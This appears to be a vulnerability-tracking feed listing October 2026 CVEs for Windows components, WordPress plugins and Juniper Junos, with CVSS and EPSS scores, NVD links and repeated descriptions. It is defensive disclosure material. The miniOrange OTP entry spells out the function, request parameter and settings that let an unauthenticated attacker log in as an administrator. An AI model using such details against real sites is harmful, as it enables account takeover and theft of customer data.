Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-108468
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108468).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108468&date=2026-10-25).
Sources:
NVD CVE-2026-108468: https://nvd.nist.gov/vuln/detail/CVE-2026-108468
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108468&date=2026-10-25
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft PostScript Printer Driver allows an authorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-108467
Heap-based buffer overflow in Microsoft PostScript Printer Driver allows an authorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft PostScript Printer Driver allows an authorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108467).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108467&date=2026-10-25).
Sources:
NVD CVE-2026-108467: https://nvd.nist.gov/vuln/detail/CVE-2026-108467
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108467&date=2026-10-25
Heap-based buffer overflow in Microsoft PostScript Printer Driver allows an authorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Update Delivery Optimization allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-108465
Use after free in Windows Update Delivery Optimization allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Update Delivery Optimization allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108465).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108465&date=2026-10-25).
Sources:
NVD CVE-2026-108465: https://nvd.nist.gov/vuln/detail/CVE-2026-108465
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108465&date=2026-10-25
Use after free in Windows Update Delivery Optimization allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Software Protection Platform (SPP) allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-108464
Use after free in Software Protection Platform (SPP) allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Software Protection Platform (SPP) allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108464).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108464&date=2026-10-25).
Sources:
NVD CVE-2026-108464: https://nvd.nist.gov/vuln/detail/CVE-2026-108464
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108464&date=2026-10-25
Use after free in Software Protection Platform (SPP) allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-108461
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108461).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108461&date=2026-10-25).
Sources:
NVD CVE-2026-108461: https://nvd.nist.gov/vuln/detail/CVE-2026-108461
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108461&date=2026-10-25
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Message Queuing allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-108460
Use after free in Windows Message Queuing allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Windows Message Queuing allows an unauthorized attacker to execute code over a network.
CVSS 8.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108460).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108460&date=2026-10-25).
Sources:
NVD CVE-2026-108460: https://nvd.nist.gov/vuln/detail/CVE-2026-108460
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108460&date=2026-10-25
Use after free in Windows Message Queuing allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-108458
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108458).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108458&date=2026-10-25).
Sources:
NVD CVE-2026-108458: https://nvd.nist.gov/vuln/detail/CVE-2026-108458
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108458&date=2026-10-25
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds write in Microsoft Windows PDF allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-108457
Out-of-bounds write in Microsoft Windows PDF allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Out-of-bounds write in Microsoft Windows PDF allows an unauthorized attacker to execute code over a network.
CVSS 8.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108457).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108457&date=2026-10-25).
Sources:
NVD CVE-2026-108457: https://nvd.nist.gov/vuln/detail/CVE-2026-108457
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108457&date=2026-10-25
Out-of-bounds write in Microsoft Windows PDF allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Hyper-V allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-108399
Heap-based buffer overflow in Windows Hyper-V allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Hyper-V allows an authorized attacker to elevate privileges locally.
CVSS 7.2 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108399).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108399&date=2026-10-25).
Sources:
NVD CVE-2026-108399: https://nvd.nist.gov/vuln/detail/CVE-2026-108399
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108399&date=2026-10-25
Heap-based buffer overflow in Windows Hyper-V allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The FunnelKit – Funnel Builder for WooCommerce Checkout plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 3.16.0.6 This is due to...
https://kevwire.com/record/CVE-2026-107746
The FunnelKit – Funnel Builder for WooCommerce Checkout plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 3.16.0.6 This is due to... (Oct 16, 2026).
The FunnelKit – Funnel Builder for WooCommerce Checkout plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 3.16.0.6 This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to retrieve billing PII — including full name, street address, email address, and phone number — for any WooCommerce order on the site by submitting an enumerable sequential order ID. This is only exploitable on sites where a FunnelKit thank-you page exists that renders the [wfty_order_meta] or [wfty_order_total] shortcode.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107746).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107746&date=2026-10-25).
Sources:
NVD CVE-2026-107746: https://nvd.nist.gov/vuln/detail/CVE-2026-107746
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107746&date=2026-10-25
The FunnelKit – Funnel Builder for WooCommerce Checkout plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 3.16.0.6 This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to retrieve billing PII — including full name, street address, email address, and phone number — for any WooCommerce order on the site by submitting an enumerable sequential order ID. This is only exploitable on sites where a FunnelKit thank-you page exists that renders the [wfty_order_meta] or [wfty_order_total] shortcode.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper access control in Windows Hyper-V allows an authorized attacker to execute code locally.
https://kevwire.com/record/CVE-2026-105733
Improper access control in Windows Hyper-V allows an authorized attacker to execute code locally. (Oct 13, 2026).
Improper access control in Windows Hyper-V allows an authorized attacker to execute code locally.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105733).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105733&date=2026-10-25).
Sources:
NVD CVE-2026-105733: https://nvd.nist.gov/vuln/detail/CVE-2026-105733
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105733&date=2026-10-25
Improper access control in Windows Hyper-V allows an authorized attacker to execute code locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Simply Schedule Appointments plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'status' parameter in all versions up to, and including, 1.6.12.35 due...
https://kevwire.com/record/CVE-2026-104000
The Simply Schedule Appointments plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'status' parameter in all versions up to, and including, 1.6.12.35 due... (Oct 16, 2026).
The Simply Schedule Appointments plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'status' parameter in all versions up to, and including, 1.6.12.35 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The malicious payload is stored unconditionally because debug logging is enabled by default, and the debug-log viewer is accessible to anyone holding the site-wide Support PIN (an HMAC-MD5 of AUTH_SALT displayed in wp-admin), meaning the injected script will execute against the administrator's session during ordinary support or troubleshooting workflows.
CVSS 7.2 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104000).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104000&date=2026-10-25).
Sources:
NVD CVE-2026-104000: https://nvd.nist.gov/vuln/detail/CVE-2026-104000
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104000&date=2026-10-25
The Simply Schedule Appointments plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'status' parameter in all versions up to, and including, 1.6.12.35 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The malicious payload is stored unconditionally because debug logging is enabled by default, and the debug-log viewer is accessible to anyone holding the site-wide Support PIN (an HMAC-MD5 of AUTH_SALT displayed in wp-admin), meaning the injected script will execute against the administrator's session during ordinary support or troubleshooting workflows.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The miniOrange OTP Login, Verification and SMS Notifications plugin for WordPress is vulnerable to Authentication Bypass in versions up to, and including, 5.5.8 via the...
https://kevwire.com/record/CVE-2026-103895
The miniOrange OTP Login, Verification and SMS Notifications plugin for WordPress is vulnerable to Authentication Bypass in versions up to, and including, 5.5.8 via the... (Oct 16, 2026).
The miniOrange OTP Login, Verification and SMS Notifications plugin for WordPress is vulnerable to Authentication Bypass in versions up to, and including, 5.5.8 via the `mo_by_pass_login()` function. This is due to `mo_delay_otp_process()` short-circuiting the authentication flow before password validation or the administrator intent gate (added in 5.5.6) can run, combined with the Delay OTP grace flag (`mov_last_verified_dttm`) being stored as a `user_meta` row keyed solely by target user ID with no binding to the originating session, cookie, IP address, or device. This makes it possible for unauthenticated attackers to authenticate as any WordPress user — including administrators — by submitting only a known username with the `mo_wp_login_intent=otp` parameter and any non-empty password, thereby inheriting a legitimate user's open Delay OTP grace window without ever supplying correct credentials. Exploitation requires the site to have OTP-only login (`wp_login_skip_password=1`, `wp_login_skip_password_fallback=0`) and Delay OTP Verification (`wp_login_delay_otp=1`) enabled, and the target account must currently be within its configured Delay OTP interval.
CVSS 8.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103895).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103895&date=2026-10-25).
Sources:
NVD CVE-2026-103895: https://nvd.nist.gov/vuln/detail/CVE-2026-103895
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103895&date=2026-10-25
The miniOrange OTP Login, Verification and SMS Notifications plugin for WordPress is vulnerable to Authentication Bypass in versions up to, and including, 5.5.8 via the `mo_by_pass_login()` function. This is due to `mo_delay_otp_process()` short-circuiting the authentication flow before password validation or the administrator intent gate (added in 5.5.6) can run, combined with the Delay OTP grace flag (`mov_last_verified_dttm`) being stored as a `user_meta` row keyed solely by target user ID with no binding to the originating session, cookie, IP address, or device. This makes it possible for unauthenticated attackers to authenticate as any WordPress user — including administrators — by submitting only a known username with the `mo_wp_login_intent=otp` parameter and any non-empty password, thereby inheriting a legitimate user's open Delay OTP grace window without ever supplying correct credentials. Exploitation requires the site to have OTP-only login (`wp_login_skip_password=1`, `wp_login_skip_password_fallback=0`) and Delay OTP Verification (`wp_login_delay_otp=1`) enabled, and the target account must currently be within its configured Delay OTP interval.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing authorization in Visual Studio Code allows an unauthorized attacker to bypass a security feature locally.
https://kevwire.com/record/CVE-2026-102233
Missing authorization in Visual Studio Code allows an unauthorized attacker to bypass a security feature locally. (Oct 13, 2026).
Missing authorization in Visual Studio Code allows an unauthorized attacker to bypass a security feature locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102233).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102233&date=2026-10-25).
Sources:
NVD CVE-2026-102233: https://nvd.nist.gov/vuln/detail/CVE-2026-102233
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102233&date=2026-10-25
Missing authorization in Visual Studio Code allows an unauthorized attacker to bypass a security feature locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper resolution of path equivalence in Visual Studio Code allows an unauthorized attacker to bypass a security feature locally.
https://kevwire.com/record/CVE-2026-102231
Improper resolution of path equivalence in Visual Studio Code allows an unauthorized attacker to bypass a security feature locally. (Oct 13, 2026).
Improper resolution of path equivalence in Visual Studio Code allows an unauthorized attacker to bypass a security feature locally.
CVSS 7.7 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102231).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102231&date=2026-10-25).
Sources:
NVD CVE-2026-102231: https://nvd.nist.gov/vuln/detail/CVE-2026-102231
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102231&date=2026-10-25
Improper resolution of path equivalence in Visual Studio Code allows an unauthorized attacker to bypass a security feature locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an attacker to cause rpd crash via malformed BGP...
https://kevwire.com/record/CVE-2026-102064
A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an attacker to cause rpd crash via malformed BGP... (Oct 14, 2026).
A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an attacker to cause rpd crash via malformed BGP MCAST-VPN updates from a configured eBGP peer.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102064).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102064&date=2026-10-25).
Sources:
NVD CVE-2026-102064: https://nvd.nist.gov/vuln/detail/CVE-2026-102064
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102064&date=2026-10-25
A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an attacker to cause rpd crash via malformed BGP MCAST-VPN updates from a configured eBGP peer.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Improper Validation of Specified Quantity in Input vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP MVPN peer to cause...
https://kevwire.com/record/CVE-2026-102016
An Improper Validation of Specified Quantity in Input vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP MVPN peer to cause... (Oct 14, 2026).
An Improper Validation of Specified Quantity in Input vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP MVPN peer to cause a denial of service via a BGP MVPN signaling update.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102016).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102016&date=2026-10-25).
Sources:
NVD CVE-2026-102016: https://nvd.nist.gov/vuln/detail/CVE-2026-102016
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102016&date=2026-10-25
An Improper Validation of Specified Quantity in Input vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP MVPN peer to cause a denial of service via a BGP MVPN signaling update.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Reachable Assertion vulnerability in the na-grpcd process of Juniper Networks Junos OS Evolved allows a remote unauthenticated attacker to cause a denial of service via a gRPC...
https://kevwire.com/record/CVE-2026-102012
A Reachable Assertion vulnerability in the na-grpcd process of Juniper Networks Junos OS Evolved allows a remote unauthenticated attacker to cause a denial of service via a gRPC... (Oct 14, 2026).
A Reachable Assertion vulnerability in the na-grpcd process of Juniper Networks Junos OS Evolved allows a remote unauthenticated attacker to cause a denial of service via a gRPC telemetry subscription request.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102012).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102012&date=2026-10-25).
Sources:
NVD CVE-2026-102012: https://nvd.nist.gov/vuln/detail/CVE-2026-102012
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102012&date=2026-10-25
A Reachable Assertion vulnerability in the na-grpcd process of Juniper Networks Junos OS Evolved allows a remote unauthenticated attacker to cause a denial of service via a gRPC telemetry subscription request.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Improper Handling of Length Parameter Inconsistency vulnerability in the 

l2ald 

daemon of Juniper Networks Junos OS and Junos OS Evolved allows an attacker who can control...
https://kevwire.com/record/CVE-2026-101994
An Improper Handling of Length Parameter Inconsistency vulnerability in the 

l2ald 

daemon of Juniper Networks Junos OS and Junos OS Evolved allows an attacker who can control... (Oct 14, 2026).
An Improper Handling of Length Parameter Inconsistency vulnerability in the 

l2ald 

daemon of Juniper Networks Junos OS and Junos OS Evolved allows an attacker who can control or impersonate a configured MC-LAG ICCP peer to disclose process heap memory or cause a denial of service via a malformed ICCP message.
CVSS 7.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101994).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101994&date=2026-10-25).
Sources:
NVD CVE-2026-101994: https://nvd.nist.gov/vuln/detail/CVE-2026-101994
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101994&date=2026-10-25
An Improper Handling of Length Parameter Inconsistency vulnerability in the 

l2ald 

daemon of Juniper Networks Junos OS and Junos OS Evolved allows an attacker who can control or impersonate a configured MC-LAG ICCP peer to disclose process heap memory or cause a denial of service via a malformed ICCP message.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Integer Overflow or Wraparound vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows a remote attacker with an established EVPN BGP peering...
https://kevwire.com/record/CVE-2026-101945
An Integer Overflow or Wraparound vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows a remote attacker with an established EVPN BGP peering... (Oct 14, 2026).
An Integer Overflow or Wraparound vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows a remote attacker with an established EVPN BGP peering relationship to cause a denial of service via EVPN BGP route processing. The issue affects EVPN-enabled routing instances and can disrupt control-plane adjacencies.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101945).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101945&date=2026-10-25).
Sources:
NVD CVE-2026-101945: https://nvd.nist.gov/vuln/detail/CVE-2026-101945
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101945&date=2026-10-25
An Integer Overflow or Wraparound vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows a remote attacker with an established EVPN BGP peering relationship to cause a denial of service via EVPN BGP route processing. The issue affects EVPN-enabled routing instances and can disrupt control-plane adjacencies.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

